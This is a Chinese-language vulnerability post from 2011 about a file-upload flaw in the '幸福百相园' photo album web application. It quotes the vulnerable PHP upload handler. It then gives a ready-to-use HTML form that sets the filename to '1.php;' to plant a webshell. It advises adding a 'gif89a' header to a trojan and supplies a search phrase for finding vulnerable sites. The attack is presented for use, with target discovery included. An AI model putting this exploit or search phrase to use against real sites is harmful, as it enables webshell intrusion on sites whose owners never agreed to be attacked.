文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>“幸福百相园”相册GETSHELL漏洞

“幸福百相园”相册GETSHELL漏洞

时间:2011-01-06  来源:zxsk2222

发布日期:2011-01.06
发布作者:zxsk2222

漏洞类型:文件上传
漏洞描述:图片上传过滤不严,导致*.asp;.jpg文件上传执行漏洞。

漏洞出现在
index.php

 

 

if($do == 'upload'){
if($_POST['formsub']){
$file = $_FILES['upload'];
if(!$file['error']){
if(strpos($file['type'], 'image') === 0){
$hash = $_POST['i'].'.jpg'; //若是IIS,则可此处可自行构造IIS畸形文件扩展名得到一个webshell
if(move_uploaded_file($file['tmp_name'], "./attach/$hash")){
thumb("./attach/$hash");
js_reload();
} else{
js_alert('保存失败!');
}
} else{
js_alert('不支持的格式!');
}
} else{
js_alert('上传出错啦!');
}
}
}

 

 

 

 


漏洞测试:

本地构造表单

<form action="http://XXX.com/user/index.php?do=upload" method="post" enctype="multipart/form-data" name="form_post" id="form_post" target="ajax"> <input type="file" name="upload"> <input type="hidden" name="i" value="1.php;"> 这里可以改为1.asp;或者别的类型的文件  <input type="hidden" name="formsub" value="true"> <input name="submit" type="submit" value="上传"> <iframe name="ajax" id="ajax" style="display:none"></iframe> </form> 

提交一个包含"gif89a"文件头的木马(大马),会在/attach目录下生成一个1.php;.jpg的webshell。如果IE显示红X,请换火狐

利用:搜索关键词“专注于收集、发布网友喜欢的图片”。这套相册大部分集成于dedecms的图片类网站,目录为http://www.xxx.com/user
 

标签分类:

相关阅读 更多 +
排行榜 更多 +
翌日波奇狗的历险记手机版下载

翌日波奇狗的历险记手机版下载

休闲益智 下载
怪兽远征安卓版下载

怪兽远征安卓版下载

角色扮演 下载
谷歌卫星地图免费版下载

谷歌卫星地图免费版下载

生活实用 下载